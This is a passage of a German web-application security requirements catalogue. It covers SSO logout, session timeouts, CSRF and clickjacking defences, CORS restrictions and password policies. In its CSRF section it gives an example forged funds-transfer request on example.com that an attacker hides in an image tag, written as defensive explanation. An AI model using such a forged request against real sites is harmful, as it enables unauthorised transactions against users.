Falls die Session mit dem SSO-Portal nicht automatisch beendet werden kann, muss alternativ nach der Abmeldung von der Web-Anwendung die SSO-Session im Browser (wieder) sichtbar sein. Dies kann beispielsweise realisiert werden, indem nach der Abmeldung ein Redirect auf das SSO-Portal erfolgt.

Motivation: SSO bedeutet, dass ein Benutzer nach einer einmaligen Authentisierung an einem SSO-Portal weitere Anwendungen nutzen kann, ohne sich gegenüber diesen Anwendungen erneut authentisieren zu müssen. Falls bei einer Abmeldung von einer Anwendung nur die Session mit der Anwendung invalidiert wird und eine weiterhin gültige Session mit dem SSO-Portal nicht mehr sichtbar ist, wird ein Benutzer sich in der Regel auch nicht vom SSO-Portal abmelden. Die Session mit dem SSO-Portal bleibt gültig und könnte unter Umständen von einem Angreifer unbemerkt übernommen werden.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Abstreiten von durchgeführten Aktionen

ID: 3.06-51/8.0

Req 52	Falls ein Benutzer über ein SSO-Verfahren Zugang zu der Web-Anwendung erhalten hat und sich vom SSO-Portal abmeldet, muss auch die Session mit der Web-Anwendung automatisch beendet werden.
--------	--

Hierfür muss das SSO-Portal initiieren, dass auch die Session mit der Web-Anwendung beendet wird.

Motivation: Wenn der Benutzer sich vom SSO-Portal abmeldet, ist ihm ggf. nicht bewusst, dass er andere Anwendungen weiterhin nutzt. Werden die Sessions mit diesen Anwendungen nicht automatisch beendet, könnten sie unter Umständen von einem Angreifer unbemerkt übernommen werden.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Abstreiten von durchgeführten Aktionen

ID: 3.06-52/8.0

Req 53	Nach einer definierten Zeit der Inaktivität des Benutzers muss in der Web-Anwendung ein Timeout erfolgen und der Benutzer automatisch von der Web-Anwendung abgemeldet werden.
--------	--

Die genaue Zeitdauer, nach der ein Timeout erfolgt, muss individuell für jede Anwendung festgelegt werden. Sie ist abhängig von deren Sensibilität und Einsatzzweck. Für kritische, aus dem Internet erreichbare Web-Anwendungen mit Zugriff auf schutzbedürftige Daten (bei denen beispielsweise der Zugriff eines Benutzers auf personenbezogene Daten unterschiedlicher Kunden vorgesehen ist) wird empfohlen, dass der Timeout spätestens nach 60 Minuten erfolgt, während bei internen Web-Anwendungen ohne Zugriff auf schutzbedürftige Daten dieser Zeitraum deutlich länger gewählt werden könnte. Ferner wird empfohlen, dass diese Zeitdauer ein konfigurierbarer Systemparameter ist.

Motivation: Der Timeout schützt den Benutzer, wenn er vergisst sich abzumelden und inaktive Sessions von einem Angreifer (durch Schwachstellen in der Web-Anwendung oder auch durch Mitbenutzung des Browsers) unbemerkt übernommen werden können. Durch einen Timeout von 60 Minuten wird der Bedienungskomfort in der Regel nicht reduziert, die Gefahr von Session-Übernahmen aber signifikant reduziert. Die Gründe für die Festlegung der jeweiligen Timeout-Dauer können sich im laufenden Betrieb aber ändern, ggf. auch kurzfristig. Dem kann mit einem konfigurierbaren Parameter begegnet werden.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Abstreiten von durchgeführten Aktionen

ID: 3.06-53/8.0

Req 54	Bei einer Abmeldung oder einem Timeout muss die Web-Anwendung den dazugehörigen Session-Identifizierer oder stateful/stateless (Session-)Token serverseitig ungültig machen.
--------	--

Motivation: Ohne eine vollständige serverseitige Invalidierung der Session kann ein Angreifer offene Sessions fortsetzen, wenn er Zugriff auf diese Sessions erhält. Dies ist beispielsweise möglich, wenn er den Rechner des Opfers mitbenutzt oder aber wenn er über einen anderen Angriff die Session-ID ermittelt hat.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Abstreiten von durchgeführten Aktionen

ID: 3.06-54/8.0

Req 55	Falls das Session-Management der Web-Anwendung (ausschließlich) auf Session-Cookies basiert, muss die Web-Anwendung einen Mechanismus gegen Angriffe mittels Cross-Site Request Forgery (CSRF) einsetzen. Dieser Mechanismus muss verhindern, dass ein Angreifer Requests auf einer von ihm kontrollierten Webseite hinterlegen kann, die (bei einem Aufruf jener Webseite durch den Benutzer) automatisch Aktionen des Benutzers in der zu schützenden Web-Anwendung auslösen.
--------	---

Insbesondere die Requests in der Web-Anwendung, die eine Datenänderung oder Zustandsänderung verursachen können, sind entsprechend zu schützen. Requests, über die lediglich Informationen angefordert werden, benötigen keinen Schutz vor CSRF.

In der Regel werden hierzu „CSRF-Token“ (auch „Synchronizer-Token“ genannt) als Hidden-Field eingebunden. Ein CSRF-Token muss serverseitig generiert werden, darf nicht vorhersagbar sein und muss individuell mindestens für jede Session sein. Die Web-Anwendung muss bei allen relevanten Requests serverseitig prüfen, ob der Token übertragen wurde und dessen Wert mit dem erwarteten Wert übereinstimmt, bevor die angeforderte Aktion ausgeführt wird. Viele Frameworks stellen entsprechende Schutzmechanismen zur Verfügung. In dem Fall ist es meistens ratsam, diese zu nutzen, statt eine entsprechende Lösung selbst zu implementieren. Wenn die Realisierung als Hidden-Field nicht möglich oder sinnvoll ist, kann der CSRF-Token in einem spezifischen HTTP-Header übertragen werden (zum Beispiel „X-CSRF-Token“). Informationen, die vom Browser automatisch mitgesendet werden, wie beispielsweise Cookies, bieten jedoch keinerlei Schutz.

Als zusätzlicher Schutzmechanismus wird empfohlen, im Session-Cookie das Attribut „SameSite“ (in der Regel mit dem Wert „Lax“) zu setzen.

Motivation: Requests, die nicht auf diese Weise geschützt werden, sind anfällig für CSRF (auch als XSSRF oder Session Riding bekannt). Hierbei wird ein Opfer dazu gebracht, unwissentlich einen präparierten HTTP-Request abzuschicken. Dies geschieht beispielsweise beim Besuch einer bösartigen Webseite, in der ein entsprechender Link auf eine andere Web-Anwendung enthalten ist (zum Beispiel als „img“, „script“- oder „iframe“-Tag). Dieser Link ist für das Opfer jedoch nicht zu erkennen. Aber der Browser folgt im Hintergrund diesem Link und schickt auch den Session-Cookie automatisch mit, sofern das Opfer aktuell eine gültige Session für diese andere Web-Anwendung hat.

Wenn zum Beispiel in einer Web-Anwendung ein Benutzer eine Überweisung durchführen kann

`https://example.com/app/transferFunds ?amount=1500 &destinationAccount=4673243243`

und der entsprechende Request keinen geheimen Token enthält, kann ein Angreifer einen Request vorbereiten, der Geld vom Konto des Opfers auf das Konto des Angreifers transferiert. Diesen Request bettet er in ein Image-Tag ein und hinterlegt ihn in einer beliebigen Webseite, die er kontrolliert:

``

Wenn das Opfer diese präparierte Seite besucht, während es gleichzeitig bei example.com angemeldet ist, wird der untergeschobene Request den aktuell gültigen Cookie mitsenden und damit auch ausgeführt werden.

Wenn aber jeder HTTP-Request einen unvorhersagbaren Token enthalten muss, kann ein Angreifer keinen gültigen Request präparieren. Somit ist ein CSRF-Angriff nicht mehr möglich.

Für einen vollumfänglichen Schutz gegen CSRF ist für jeden einzelnen Request in einer Web-Anwendung, der eine Datenänderung verursacht, ein unterschiedlicher CSRF-Token zu verwenden. Dies verhindert, dass abgefangene Token für einen CSRF-Angriff verwendet werden können. CSRF-Token, die individuell für jeden Request sind, werden jedoch von manchen Frameworks nicht unterstützt. Diese Variante kann ggf. auch bei der Benutzung der Web-Anwendung zu Problemen führen, zum Beispiel bei parallelem Arbeiten in mehreren Tabs oder Fenstern.

Mit dem Setzen des „SameSite“-Attributs im Session-Cookie wird der Browser angewiesen, bei einem Cross-Site-Request den Session-Cookie nicht mitzusenden. Dies unterbindet CSRF-Angriffe grundsätzlich (wenn der Browser diese Funktion unterstützt). Wird hierbei der Wert „Strict“ gesetzt, wird der Cookie bei keinem derartigen Request mitgesendet; dies kann jedoch ggf. unerwünschte Auswirkungen bzgl. des Browserverhaltens haben, zum Beispiel wenn der Nutzer einen Link auf eine andere Web-Anwendung auswählt und der Session-Cookie für diese Webanwendung folglich nicht mitgesendet wird, so dass ein ursprünglich angemeldeter Nutzer sich erneut anmelden muss. Wird der Wert „Lax“ gesetzt, wird der Cookie im Fall von Cross-Site-Requests ausschließlich bei als sicher geltenden HTTP-

Methoden (GET) sowie für die Top-Level-Navigation (also nicht bei Inlineframes, Image-Tags usw.) weiterhin mitgesendet. Nur für eine bzgl. der HTTP-Methoden stringent implementierte Web-Anwendung wird daher auch der Wert „Lax“ einen ausreichenden Schutz gegen CSRF-Angriffe bieten.

Bei einer anderen CSRF-Variante, Login-CSRF, muss das Opfer keine aktuell gültige Session besitzen. Vielmehr fälscht der Angreifer in dem Fall einen Login-Request für die verwundbare Web-Anwendung, wobei in dieser gefälschten Anfrage die Zugangsdaten des Angreifers verwendet werden. Ist der Angriff erfolgreich, wird das Opfer mit dem Account des Angreifers angemeldet. Alle nachfolgenden Requests erfolgen dann mit dem Account des Angreifers. Ein Szenario, wo ein derartiger Angriff interessant sein kann, ist die ungewollte Anmeldung an einer Suchmaschine mit der Konsequenz, dass der Angreifer die nachfolgenden Suchanfragen des Opfers nachvollziehen kann.

Ein Logout-CSRF-Angriff könnte dagegen beispielsweise zu DoS-Szenarien führen.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigte Modifikation von Daten

ID: 3.06-55/8.0

Req 56	Die Web-Anwendung muss einen Mechanismus gegen Clickjacking-Angriffe einsetzen, der verhindert, dass die Web-Anwendung von anderen unberechtigten Web-Anwendungen eingebunden wird.
--------	---

Dies geschieht in der Regel durch Ausgabe des HTTP-Headers „X-Frame-Options“ in den Responses der Web-Anwendung. Hiermit wird festgelegt, ob die Inhalte der Web-Anwendung innerhalb eines Frames (also eines „frame“- oder „iframe“-Elements) einer anderen Web-Anwendung dargestellt werden dürfen. Der Header wird dabei auf „DENY“ oder „SAMEORIGIN“ gesetzt.

Wenn die Verwendung dieses Headers nicht möglich ist, kann auch über die Content Security Policy (CSP) und deren Direktive „frame-ancestors“ Clickjacking verhindert werden. Bei Verwendung des CSP-Headers ist neben den Werten 'none' und 'self' auch die Angabe bestimmter Domains (inkl. Wildcards) möglich, um dedizierten Domains zu erlauben, die Web-Anwendung einzubinden.

Insbesondere die Formulare und Funktionen in der Web-Anwendung, die eine Datenänderung oder Zustandsänderung verursachen können, sind entsprechend zu schützen. Es wird aber empfohlen, auch Seiten, die lediglich Informationen darstellen, davor zu schützen, dass sie innerhalb eines Frames dargestellt werden, da dies mit Seiteneffekten verbunden ist, die zu weiteren Angriffsszenarien führen können.

Motivation: Clickjacking (kurz für Click-Hijacking, auch als UI-Redressing bekannt) ist eine Angriffstechnik, bei der ein Angreifer ein Opfer dazu bringt, auf Elemente zu klicken, auf die es gar nicht klicken will. Der Angreifer fügt Teile der legitimen Web-Anwendung in seine Seite ein, in der Regel mithilfe eines Inlineframes, aber getarnt bzw. überdeckt durch andere Elemente seiner eigenen Seite. Das Opfer wird dann dazu verführt, einen Klick vermeintlich auf Inhalte der Seite des Angreifers auszuführen. Tatsächlich führt es aber in dem Moment einen Klick und eine Aktion auf seiner legitimen Web-Anwendung aus.

Weitere Angriffsszenarien bei Web-Anwendungen, die innerhalb eines Frames dargestellt werden können, ergeben sich beispielsweise dadurch, dass im Falle des Internet Explorers der „Document Mode“ an die Seite im Frame vererbt wird. Durch so einen vom Angreifer erzwungenen „Downgrade“ der Rendering-Engine können aber auch Schwachstellen (vor allem für XSS), die lediglich in neueren Versionen des Internet Explorers behoben wurden, wieder reaktiviert werden.

Mit dem HTTP-Header „X-Frame-Options“ wird die Darstellung in einem Frame verhindert. Wird das Element auf „DENY“ gesetzt, wird das Darstellen der Inhalte in einem Frame generell verhindert. Der Wert „SAMEORIGIN“ beschränkt die Darstellung in Frames auf Seiten innerhalb derselben Domain, in der sich die Web-Anwendung befindet.

Mit dem HTTP-Header „Content-Security-Policy“ kann ebenfalls die Darstellung in einem Frame verhindert werden. Bei Angabe der Direktive „frame-ancestors 'none'“ wird das Darstellen der Inhalte in einem Frame generell verhindert. Die Direktive „frame-ancestors 'self'“ beschränkt die Darstellung in Frames auf Seiten innerhalb derselben Domain, in der sich die Web-Anwendung befindet. Da aber auch eine oder mehrere Domains (inkl. Wildcards) in der Direktive angegeben werden können, die dann die Web-Anwendung innerhalb eines Frames darstellen können, ist diese Variante flexibler als der HTTP-Header „X-Frame-Options“. Allerdings wird die Direktive noch nicht von allen gängigen Brow-

ern unterstützt.

Mittels JavaScript-Code könnte zwar auch überprüft werden, ob die Seite, in der sich der Code befindet, wirklich die oberste Seite in der Frame-Hierarchie ist, um dann die Darstellung innerhalb eines Frames zu verhindern. Leider sind verschiedene Techniken bekannt, die die gängigen Varianten dieser JavaScript-Mechanismen wieder aushebeln.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigte Modifikation von Daten

ID: 3.06-56/8.0

Req 57 Berechtigungen für Cross-Domain-Zugriffe müssen restriktiv definiert werden.

Die Web-Anwendung darf Cross-Domain-Zugriffe ausschließlich solchen Domains erlauben, für die dies explizit vorgesehen und zwingend erforderlich ist. Cross-Domain-Zugriffe auf schutzbedürftige Inhalte der Web-Anwendung dürfen nicht ermöglicht werden. Insbesondere dürfen keine Cross-Domain-Zugriffe auf die Inhalte von authentifizierten Sessions ermöglicht werden. Intranet-Anwendungen dürfen keine Berechtigungen für Cross-Domain-Zugriffe gewähren für Domains, die nicht zum Intranet gehören.

Cross-Origin Resource Sharing (CORS) ist ein Mechanismus, um Ausnahmen von den Regeln der Same Origin Policy (SOP) zuzulassen und Kommunikation zwischen Web-Anwendungen über den Browser des Benutzers zu realisieren. Mittels CORS wird ermöglicht, dass der Browser Cross-Origin-Requests initiiert und es zulässt, dass die Response ausgelesen wird. Diese Requests erfolgen zum Beispiel mittels XMLHttpRequests (XHR). Der Mechanismus basiert auf dem Austausch von Header-Informationen. Browser senden den „Origin“-Header, der die Domain der Anwendung angibt, die den Request abschickt. Server senden ihrerseits den „Access-Control-Allow-Origin“-Header zurück, um auszudrücken, welche Domain auf ihre Ressourcen zugreifen darf. Dies wird dann durch die Browser entsprechend durchgeführt.

Eine Berechtigung für einen solchen Cross-Domain-Zugriff muss daher restriktiv definiert werden ohne Verwendung von Wildcards im „Access-Control-Allow-Origin“-Header. Falls der Wert des „Access-Control-Allow-Origin“-Headers dynamisch generiert wird (ggf. abhängig vom jeweiligen „Origin“-Header des Requests), muss der „Origin“-Header validiert werden, müssen zugelassene Domains restriktiv definiert werden und zudem muss zusätzlich der „Vary: Origin“-Header gesetzt werden, um Angriffe basierend auf Cache-Poisoning zu unterbinden. Die Header dürfen zudem vom Server nur bei ausgewählten URLs/Ressourcen gesendet werden, für die ein Cross-Domain-Zugriff vorgesehen ist. Sie dürfen nicht pauschal für die ganze Anwendung gesendet werden.

Die „window.postMessage“-API erweitert jedes Fenster bzw. jeden Frame um eine neue Methode, die es erlaubt, Textnachrichten von einem Fenster an ein anderes zu versenden. In dem Fall muss der „Empfänger“ der Daten explizit definiert werden, um zu vermeiden, dass die Daten an ein falsches Ziel geschickt werden. Insbesondere darf der Empfänger nicht auf „*“ gesetzt werden. Der „Absender“ („origin“-Attribut) muss verifiziert werden. Die Daten („data“-Attribut) müssen validiert werden. Die ausgetauschten Daten müssen als Daten ausgewertet werden, niemals als Code (zum Beispiel mittels „eval“). Um DOM-basierte XSS-Angriffe zu vermeiden, darf das DOM einer Seite nicht basierend auf den ausgetauschten Daten angepasst werden (zum Beispiel mittels „innerHTML“).

Die Web-Anwendung darf keine RIA-Services nutzen, die die SOP umgehen. Hierzu zählen unter anderem AJAX-Service-Bridges, HTML-Bridges, AJAX-Proxys sowie Aggregate-Sites. Behelfslösungen und veraltete Funktionen dürfen ebenfalls nicht verwendet werden, um Cross-Domain-Zugriffe zu ermöglichen: Dies gilt insbesondere für Fragmentbezeichner (dem Teil einer URL nach dem Hash-Zeichen), für JSONP (JSON with Padding) und auch für die Property „document.domain“, mit der eine Web-Anwendung die eigene Origin (auf eine übergeordnete Domain) ändern könnte. Grundsätzlich sind standardisierte Technologien proprietären Technologien oder Behelfslösungen vorzuziehen.

Alle Vorgaben hinsichtlich Cross-Domain-Interaktion gelten gleichermaßen für Fenster, Dialogfelder, Frames usw.

Motivation: Die SOP ist ein in den Browsern implementiertes Sicherheitskonzept. Es soll sicherstellen, dass jede Resource einer Webseite nur mit dem Server kommunizieren darf, von dem sie geladen wurde, und nur auf Objekte zugreifen darf, die ebenfalls vom gleichen Server geladen wurden. Domain-übergreifende Zugriffe werden somit unterbunden.

Für einzelne Web-Techniken gibt es jedoch Konfigurationsmöglichkeiten, die SOP aufzuweichen und Cross-Domain-Zugriffe zu erlauben. Dies ist aber gefährlich, da dadurch andere Web-Anwendungen in der Lage sind, Code im Kontext der Domain der eigenen Web-Anwendung auszuführen. Eine restriktive Definition von ggf. notwendigen Berechtigungen ist erforderlich.

gungen kann das damit verbundene Risiko reduzieren. Falls Cross-Domain-Zugriffe zu freizügig gewährt werden, kann hierüber unter Umständen sogar auf schutzbedürftige Daten zugegriffen werden, die ansonsten durch eine Authentifizierung geschützt sind. Denn wenn Cross-Domain-Requests verschickt werden, senden Browser diese Requests zusammen mit den Cookies für die Domain der Web-Anwendung, an die diese Requests gehen. Deren Responses können clientseitig ausgewertet und so ggf. auf schutzbedürftige Inhalte zugegriffen werden. Und auch der grundlegende Schutz vor Zugriff aus dem Internet wird ausgehebelt, wenn eine Anwendung, die ansonsten nur aus dem Intranet erreichbar ist, Cross-Domain-Zugriffe aus anderen Domains heraus erlaubt.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten

ID: 3.06-57/8.0

8. Authentisierungsmerkmal Passwort

Req 58	Falls Passwörter als Authentisierungsmerkmal genutzt werden, müssen diese mindestens 12 Zeichen lang sein und drei der folgenden Zeichenkategorien beinhalten: Kleinbuchstaben, Großbuchstaben, Ziffern und Sonderzeichen.
--------	--

Ein System darf nur Passwörter akzeptieren, welche die folgende Komplexität erfüllen:

- Mindestlänge 12 Zeichen
- Bestehend aus mindestens drei der folgenden vier Zeichenkategorien:
 - Kleinbuchstaben
 - Großbuchstaben
 - Ziffern
 - Sonderzeichen

Die maximal mögliche Länge für Passwörter sollte 25 Zeichen oder mehr betragen. Dies unterstützt Endbenutzer bei Bedarf mit mehr Freiraum, um individuelle merkbare Passwörter bilden zu können, und hilft so, unerwünschte Verhaltensweisen im Umgang mit Passwörtern zu vermeiden, welche durch stark eingeschränkte maximale Passwortlängen provoziert werden können.

Das System muss bei der Vergabe eines Passwortes sicherstellen, dass das Passwort diesen Bildungsregeln entspricht; vorzugsweise mittels technischer Maßnahmen, falls solche aber nicht umsetzbar sein sollten, ersatzweise mittels organisatorischer Maßnahmen.

Bei Verwendung eines zentralen Systems für die Authentisierung der Benutzer [vgl. Wurzel-Anforderungsdokument "[i]3.69 IAM (Identity Access Management) - Framework"] darf diese Aufgabe an das zentrale System weitergereicht bzw. dorthin ausgelagert werden.

Zulässige Abweichung in der Passwort-Mindestlänge

Unter sicherheitsbezogenen Kriterien lassen sich für ein System potenziell Bedingungen identifizieren, die eine Reduzierung der Passwort-Mindestlänge ermöglichen:

- Allgemein zulässig ist eine Reduzierung der Passwort-Mindestlänge für Systeme, die innerhalb des Authentisierungsprozess zusätzlich zum Passwort weitere unabhängige Authentisierungsmerkmale verwenden (Umsetzung von 2-Faktor oder Multi-Faktor Authentisierung).
- Eine Reduzierung der Passwort-Mindestlänge muss grundsätzlich durch einen fachlichen Sicherheitsberater (z. B. ein PSM der Telekom Security) individuell bewertet und als zulässig bestätigt werden. In der Bewertung müssen umgebende technische, organisatorische und gesetzliche Rahmenparameter berücksichtigt sowie der systemspezifische Schutzbedarf und die potenzielle Schadenshöhe bei Sicherheitsvorfällen einbezogen werden.
- Der absolute Mindestwert von 8 Zeichen Länge darf für Passwörter grundsätzlich nicht unterschritten werden.

Motivation: Passwörter mit der genannten Komplexität bieten eine zeitgemäße Robustheit gegen Angriffe bei gleichzeitig akzeptabler Benutzerfreundlichkeit. In der Praxis haben sich Passwörter mit dieser Komplexität bewährt. Triviale und zu kurze Passwörter sind anfällig für Brute-Force- und Wörterbuch-Angriffe und von einem Angreifer leicht zu ermitteln. Ein ermitteltes Passwort kann dann von einem Angreifer für den unautorisierten Zugriff auf das System und dessen Daten genutzt werden

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Abstreiten von durchgeführten Aktionen

ID: 3.01-26/9.0

Req 59	Falls Passwörter als Authentisierungsmerkmal für technische Benutzerkonten genutzt werden, müssen diese mindestens 30 Zeichen lang sein und drei der folgenden Zeichenkategorien beinhalten: Kleinbuchstaben, Großbuchstaben, Ziffern und Sonderzeichen.
--------	--

Technische Benutzerkonten zeichnen sich dadurch aus, dass sie nicht von Personen verwendet werden. Stattdessen werden sie für die Authentifizierung und Autorisierung von Systemen untereinander oder von Anwendungen auf einem System genutzt.

Ein System darf für technische Benutzerkonten nur Passwörter verwenden, welche die folgende Komplexität erfüllen:

- Mindestlänge 30 Zeichen
- Bestehend aus mindestens drei der folgenden vier Zeichenkategorien:
 - Kleinbuchstaben
 - Großbuchstaben
 - Ziffern
 - Sonderzeichen

Motivation: Technische Benutzerkonten sind aufgrund ihrer Verwendung in Machine-to-Machine (M2M) Kommunikations-Szenarien oft mit Berechtigungen ausgestattet, die für einen Angreifer von hohem Interesse sein können, um Infrastrukturen zu kompromittieren. Ohne Mechanismen einer umfassenden Kompromittierungserkennung kann dann das Risiko, dass ein Passwort von einem Angreifer ermittelt oder gebrochen wird, über die Zeit deutlich ansteigen. Eine signifikante Erhöhung der Passwort-Länge wirkt diesen Risiken entgegen und lässt sich zudem in M2M Szenarien besonders leicht umsetzen, da die Handhabung eines sehr langen Passworts für eine Maschine (im Gegensatz zu einer Person) keine besondere Herausforderung darstellt.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Abstreiten von durchgeführten Aktionen

ID: 3.01-27/9.0

Req 60	Falls Passwörter als Authentisierungsmerkmal genutzt werden, muss der Registrierungsprozess der Web-Anwendung sicherstellen, dass der Benutzer sein Passwort selber wählt: Entweder setzt der Benutzer das Passwort direkt bei der Registrierung; oder er erhält ein individuelles Initialpasswort, das er bei der ersten Anmeldung sofort ändern muss.
--------	---

Es wird empfohlen, dass die Web-Anwendung den Benutzer über die Kriterien für Passwörter informiert. Darüber hinaus kann die Web-Anwendung ggf. eine Anzeige mit einer Indikation der Passwortstärke („Passwort-Meter“) einblenden. Alternativ kann die Web-Anwendung auch visualisieren, welche Kriterien der Passwort-Policy durch das eingegebene Passwort erfüllt werden.

Motivation: Vordefinierte Passwörter werden von den Benutzern oftmals nicht sorgfältig behandelt, möglicherweise sogar notiert, da sie in der Regel nicht gleichzeitig sicher und einfach zu erinnern sind. Initialpasswörter werden zudem häufig unverschlüsselt übertragen oder von Dritten im Rahmen von Support-Prozessen gesetzt. Um die Gefahr eines Missbrauchs zu reduzieren, müssen neue Benutzer diese Passwörter umgehend ändern. Transparente Kriterien für die Wahl von starken Passwörtern erhöhen die Akzeptanz und das Bewusstsein des Benutzers für Sicherheit.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Abstreiten von durchgeführten Aktionen

ID: 3.06-60/8.0

Req 61	Falls Passwörter als Authentisierungsmerkmal genutzt werden, muss eine Änderung des eigenen Passwortes jederzeit durch den Benutzer möglich sein.
--------	---

Das System muss eine Funktion bieten, die es einem Benutzer ermöglicht, sein Passwort jederzeit zu ändern.

Bei der Verwendung eines zentralen Systems darf die Funktion auf dieses System weitergereicht oder ausgelagert werden.

Motivation: Nur durch die Möglichkeit, dass ein Benutzer sein Authentisierungsmerkmal jederzeit selbsttätig ändern kann, ist ein zeitnahe Änderung möglich, wenn der Benutzer den Verdacht hat, dass dieses in den Besitz Dritter gelangt sein könnte.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Abstreiten von durchgeführten Aktionen
- Angriffe motiviert und erleichtert durch Informationspreisgabe oder erkennbare Sicherheitsschwachstellen

ID: 3.01-29/9.0

Req 62	Falls Passwörter als Authentisierungsmerkmal genutzt werden, muss nach spätestens 12 Monaten ein Passwort-Wechsel erfolgen.
--------	---

Die maximal zulässige Nutzungsdauer für Passwörter beträgt 12 Monate.
Erreicht ein Passwort die maximal zulässige Nutzungsdauer, muss es geändert werden.

Das System muss hierzu den Benutzer automatisch bei dessen nächster Systemanmeldung auf die abgelaufene Nutzungsdauer hinweisen und ihn unmittelbar durch einen Passwort-Änderungsdialog führen. Der Zugriff auf das System darf ohne eine erfolgreich abgeschlossene Passwort-Änderung nicht weiter zugelassen werden.

Für technische Benutzerkonten (M2M bzw. Machine-2-Machine), die für die Authentifizierung und Autorisierung von Systemen untereinander oder von Anwendungen auf einem System genutzt werden, müssen ebenfalls automatisierte Lösungen zur Einhaltung der zulässigen Nutzungsdauer für Passwörter implementiert werden.

Falls eine automatisierte Abbildung des Prozesses zur Passwort-Änderung nicht umsetzbar ist, muss ersatzweise eine wirksame organisatorische Maßnahme angewendet werden, die eine verbindliche manuelle Passwort-Änderung bei Ablauf der zulässigen Nutzungsdauer sicherstellt.

Motivation: Passwörter sind im Gegensatz zu moderneren Authentisierungsmerkmalen leichter angreifbar. Ohne spezifische Maßnahmen einer verlässlichen technisch automatisierten Kompromittierungserkennung kann das Risiko, dass ein Passwort von einem Angreifer ermittelt oder gebrochen wird, über die Zeit deutlich steigen.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Angriffe motiviert und erleichtert durch Informationspreisgabe oder erkennbare Sicherheitsschwachstellen

ID: 3.01-30/9.0

Req 63	Falls Passwörter als Authentisierungsmerkmal verwendet werden, muss die Wiederverwendung bereits eingesetzter Passwörter unterbunden werden.
--------	--

Für jedes Benutzerkonto muss eine Historie der bisher genutzten Passwörter aufgezeichnet werden. Wird eine

Passwort-Änderung für ein Benutzerkonto initiiert, ist das neue Passwort gegen diese Passwort-Historie abzugleichen. Bei erkannter Wiederverwendung eines Passworts muss die Passwort-Änderung abgelehnt werden. Die Umsetzung dieses Validierungsvorgangs muss im System auf Basis von technischen Maßnahmen erfolgen. Bei Verwendung eines zentralen IAM Systems für die Authentisierung der Benutzer darf die Umsetzung an das zentrale IAM System weitergereicht bzw. dorthin ausgelagert werden [vgl. Wurzel-Anforderungsdokument "3.69 IAM (Identity Access Management) - Framework"].

Generell soll mittels der Passwort-Historie sichergestellt werden, dass ein schon einmal verwendetes Passwort niemals erneut einsetzbar ist.

Aufgrund technischer Limitierungen kann eine Passwort-Historie jedoch in vielen IT/NT-Produkten nicht uneingeschränkt aufgezeichnet werden. In diesem Fall ist die folgende Grundregelung zu berücksichtigen:

- ein bereits genutztes Passwort darf für den Zeitraum von mindestens 60 Tagen nicht erneut einsetzbar sein (gemessen ab dem Zeitpunkt, an dem das betroffene Passwort durch ein anderes ersetzt wurde)
- in Systemen, in denen der Zeitraum von mindestens 60 Tagen nicht abgebildet werden kann, muss der längstmögliche Zeitraum konfiguriert werden. Zusätzlich muss durch einen Project Security Manager (PSM) bestätigt werden, dass der konfigurierte Zeitraum im Gesamtkontext des Systems noch ausreichend im Sinne der Sicherheitsanforderung ist.

Anmerkung:

Einige IT/NT-Produkte bieten keinen technischen Konfigurationsparameter an, mit dem die Passwort-Historie direkt an einen Zeitraum gebunden werden kann, sondern ermöglichen nur, die Anzahl der aufzuzeichnenden Passwörter zu definieren. In solchen Fällen darf der Zeitraum alternativ durch eine Verknüpfung der folgend beschriebenen, i. d. R. breit verfügbaren Konfigurationsparameter sichergestellt werden. Innerhalb der resultierenden Policy kann ein Benutzer nur einmal pro Tag sein Passwort ändern und aufgrund der Anzahl der aufgezeichneten Passwörter effektiv nach frühestens 60 Tagen ein altes Passwort erneut einsetzen.

- Minimum Passwort-Alter: 1 Tag
- Passwort-Historie: Aufzeichnung der letzten 60 benutzten Passwörter

In dieser Umsetzungsvariante ist zu beachten, dass das Minimum Passwort-Alter nicht mehr als einen Tag betragen sollte, um den Benutzer nicht unangemessen hinsichtlich der grundsätzlichen Notwendigkeit einzuschränken, das Passwort jederzeit selbstständig ändern zu können.

